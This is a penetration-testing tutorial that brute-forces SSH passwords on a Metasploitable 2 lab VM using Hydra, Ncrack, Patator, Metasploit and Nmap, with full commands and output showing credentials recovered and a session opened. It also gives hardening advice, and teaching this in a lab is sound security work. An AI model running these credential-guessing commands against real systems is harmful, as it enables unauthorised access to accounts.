SSH Brute Force Attack Tools and Examples on Kali Linux

An SSH brute force attack automates login guesses against port 22. After banner grabbing shows OpenSSH, password spraying is a common next step in an ethical hacking lab when keys are not required.

This guide walks through five brute-force tools on Kali against Metasploitable 2 OpenSSH. Along the way I explain what each step checks and what a good result looks like. Every command and output below was captured on that layout.

What is SSH brute force in ethical hacking?

The rest of this guide assumes you want a working username and password for SSH on port 22. You are not breaking encryption — you are automating login attempts until one pair works or your wordlists run out.

SSH (Secure Shell) normally authenticates users on TCP port 22 with passwords, public keys, or other methods configured on the server. In penetration testing, SSH brute forcing means trying many username and password pairs until one succeeds or you exhaust your wordlists.

That is distinct from:

• Stealing or cracking private keys
• Exploiting an OpenSSH vulnerability
• Bypassing MFA when the server enforces it

On Metasploitable 2, weak passwords such as msfadmin / msfadmin are intentional. Production hosts should use keys, lockout policy, and monitoring instead. A successful brute force in a report means you documented a valid login pair — not that every SSH server is equally easy to crack.

Kali lab setup

Set up the lab once so every tool hits the same target with the same short wordlists. You end up with a TARGET variable, two list files, and nine username/password pairs — enough to exercise each tool without running full rockyou.txt.

Before you run the examples:

• Kali Linux with the tools below installed
• Metasploitable 2 on the same host-only or internal network as Kali
• A short custom wordlist (this guide builds one instead of running full rockyou.txt against the lab)

Install missing packages:

sudo apt update
sudo apt install -y hydra ncrack patator nmap metasploit-framework

Metasploitable 2 network, target IP, and wordlists

Set the target once, then reuse it in every command:

TARGET=192.168.56.114

Build a small reproducible wordlist pair. A full distro wordlist is unnecessary for this lab and slows every tool:

mkdir -p /tmp/ssh-brute-lab
printf 'msfadmin\nroot\nadmin\n' > /tmp/ssh-brute-lab/users.txt
printf 'msfadmin\npassword\nroot\n' > /tmp/ssh-brute-lab/pass.txt

Nine combinations exercise every tool without a long wait. The tool sections below reuse TARGET, users.txt, and pass.txt — only the brute-force program changes.

Scan port 22 with Nmap

Brute forcing a closed port wastes time and floods logs. First confirm SSH is listening on port 22, then note the OpenSSH version. That tells you whether the target is a legacy build like Metasploitable — which matters when Hydra fails the handshake later.

Check that port 22 is open before you spend time on login guesses:

nmap -Pn -p 22 "$TARGET"

PORT   STATE SERVICE
22/tcp open  ssh

The port is open. Run a version scan to record the sshd build for your notes and to spot legacy servers like Metasploitable:

nmap -Pn -p 22 -sV "$TARGET"

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OpenSSH 4.7p1 is old. That version detail matters when Hydra cannot complete the SSH handshake on this host. Port 22 is open and the version is recorded — you can move on to password guessing.

Compare SSH brute force tools

All five tools below try username/password pairs against SSH. This table shows what each one is best at and how you recognize a hit in its output — use it to choose a tool before you scale up wordlist size.

Start with the port check, then pick Ncrack or Patator when the target runs very old OpenSSH. Use Metasploit when you want session handling in the same step. Next we run the same lab lists through each tool so you can compare the output side by side.

Brute force with Hydra

Hydra is the tool many Kali users reach for first. We give it one username (msfadmin) and every line in pass.txt, and let it try SSH logins in parallel. On a current OpenSSH server you would look for a [22][ssh] line that names the login: and password:.

Hydra is the default SSH brute force tool on many Kali workflows. Test one username against the small password file first:

hydra -l msfadmin -P /tmp/ssh-brute-lab/pass.txt ssh://"${TARGET}" -t 4 -f

On Metasploitable 2, Hydra 9.7 fails during the SSH handshake:

[DATA] attacking ssh://192.168.56.114:22/
[ERROR] could not connect to ssh://192.168.56.114:22 - kex error : no match for method mac algo client->server: server [hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96], client [hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512]

Hydra never reaches the password stage here because its SSH client and OpenSSH 4.7p1 do not agree on a MAC algorithm. On Metasploitable that means no password was tested — use Ncrack, Patator, Metasploit, or Nmap below. On a modern sshd the same command either prints a [22][ssh] success line or finishes without a match in your list.

Brute force with Ncrack

Ncrack walks every username in users.txt against every password in pass.txt on "$TARGET":22. It negotiates with Metasploitable’s old SSH algorithms where Hydra fails. When a pair works, you get a Discovered credentials line with the username and password.

Ncrack ships with Nmap and handles Metasploitable’s legacy SSH algorithms. Feed the same wordlist files:

ncrack -v -U /tmp/ssh-brute-lab/users.txt -P /tmp/ssh-brute-lab/pass.txt "${TARGET}:22"

Discovered credentials on ssh://192.168.56.114:22 'msfadmin' 'msfadmin'
ssh://192.168.56.114:22 finished.

Discovered credentials for ssh on 192.168.56.114 22/tcp:
192.168.56.114 22/tcp ssh: 'msfadmin' 'msfadmin'

Ncrack done: 1 service scanned in 3.17 seconds.

Ncrack found msfadmin / msfadmin in a few seconds on nine combinations. That Discovered credentials line is what you would paste into a pentest report as a valid SSH credential.

Guess passwords with Patator ssh_login

Patator runs the same wordlist sweep as Ncrack but prints one row per attempt, so you can filter routine failures. A successful login shows as code 0 with the matching user:password pair; failed tries are code 1 or hidden by ignore:.

Patator prints one row per attempt, which helps when you filter noise with ignore: rules. Run the ssh_login module against the lab lists:

patator ssh_login host="${TARGET}" user=FILE0 0=/tmp/ssh-brute-lab/users.txt password=FILE1 1=/tmp/ssh-brute-lab/pass.txt -x ignore:mesg='Authentication failed.'

Patator labels failed logins with code 1 and successful authentication with code 0:

11:57:30 patator    INFO - 0     37     0.029 | msfadmin:msfadmin                  |     1 | SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
11:57:32 patator    INFO - 1     22     2.366 | root:root                          |     6 | Authentication failed.
...
11:57:32 patator    INFO - Hits/Done/Skip/Fail/Size: 9/9/0/0/9, Avg: 2 r/s, Time: 0h 0m 3s

The msfadmin:msfadmin row with code 0 is the hit — Patator authenticated over SSH for that pair. The Hits/Done footer confirms all nine combinations were tried.

Brute force with Metasploit ssh_login

Metasploit tests msfadmin against each password in pass.txt and stops after the first hit. It then opens an SSH session and runs id, so you see a [+] Success: line with the pair, uid= output, and SSH session … opened — stronger proof than a guess alone.

Metasploit’s ssh_login auxiliary module tests one username against every line in PASS_FILE. Set STOP_ON_SUCCESS true so the run ends after the first valid password.

msfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS ${TARGET}; set USERNAME msfadmin; set PASS_FILE /tmp/ssh-brute-lab/pass.txt; set STOP_ON_SUCCESS true; set THREADS 4; run; exit -y"

[*] 192.168.56.114:22     - Starting bruteforce
[*] 192.168.56.114:22 SSH - Testing User/Pass combinations
[+] 192.168.56.114:22     - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 1 opened (192.168.56.115:40673 -> 192.168.56.114:22) at 2026-08-01 11:57:47 -0400
[*] Scanned 1 of 1 hosts (100% complete)

The [+] line confirms the password, and Metasploit runs id over the new session so you get immediate proof of interactive access — not only a guessed string. You now have both the credential and evidence that shell access works.

To sweep several usernames, set USERPASS_FILE or run the module once per name from your users.txt file.

Brute force with Nmap ssh-brute

If you already run Nmap for recon, the ssh-brute script can try logins from userdb and passdb in the same scan. Hits appear under Accounts: as username:password - Valid credentials.

The ssh-brute NSE script tries pairs from userdb and passdb. It is useful when you already have an Nmap scan running and want scripted guesses in the same pass.

nmap -Pn -p 22 --script ssh-brute --script-args userdb=/tmp/ssh-brute-lab/users.txt,passdb=/tmp/ssh-brute-lab/pass.txt,ssh-brute.timeout=8s "${TARGET}"

| ssh-brute:
|   Accounts:
|     msfadmin:msfadmin - Valid credentials
|_  Statistics: Performed 8 guesses in 5 seconds, average tps: 1.6

Nmap reported msfadmin:msfadmin as valid — the same credential Ncrack and Patator found, embedded in the Nmap report under ssh-brute.

Verify SSH access

The tools above confirm that a password works over SSH; they do not always leave you at a shell prompt. Below is what a successful guess means for your report, and what defenders should change on production servers.

A successful brute force guess means the server accepted password authentication for that account. Metasploitable already proved interactive access in the Metasploit step with the id output.

Interactive ssh from modern Kali to OpenSSH 4.7p1 needs legacy algorithm options and a password prompt. Tools such as Ncrack only confirm the pair; they do not leave you in a shell. For manual login practice, install sshpass only in a lab and pass the guessed password explicitly, or use the Metasploit SSH session from ssh_login. When you need a callback listener instead of interactive SSH, set up netcat reverse shells on Kali before running post-exploitation one-liners.

On production systems, disable password authentication when keys are enough, enforce lockout or rate limits, and review ways to prevent brute force SSH attacks. That cuts guessable passwords and makes it harder for an attacker to repeat this lab workflow against your listener.

Troubleshooting

When Hydra errors before guessing, every password fails, or Nmap finds no accounts, check the table below.

References

• Hydra (THC)
• Ncrack
• Patator
• Nmap ssh-brute script
• Metasploit ssh_login module (Rapid7)
• OpenSSH
• Metasploitable 2 documentation (Rapid7)

Summary

SSH brute forcing automates password guesses against port 22 after you confirm the service with Nmap. In this lab you checked OpenSSH 4.7p1 on Metasploitable, built a nine-pair wordlist, and tested Hydra, Ncrack, Patator, Metasploit ssh_login, and Nmap ssh-brute.

Hydra 9.7 on Kali could not negotiate MAC algorithms with OpenSSH 4.7p1, so it never tested passwords on that image. Ncrack, Patator, Metasploit, and Nmap all recovered msfadmin / msfadmin from the same lists. Metasploit added id output and an SSH session, which is strong evidence of real login — not only a matching string in a log file.

Treat every discovered pair as a critical finding on systems you are permitted to test. Disable weak password auth on production SSH, prefer keys, and monitor failed logins.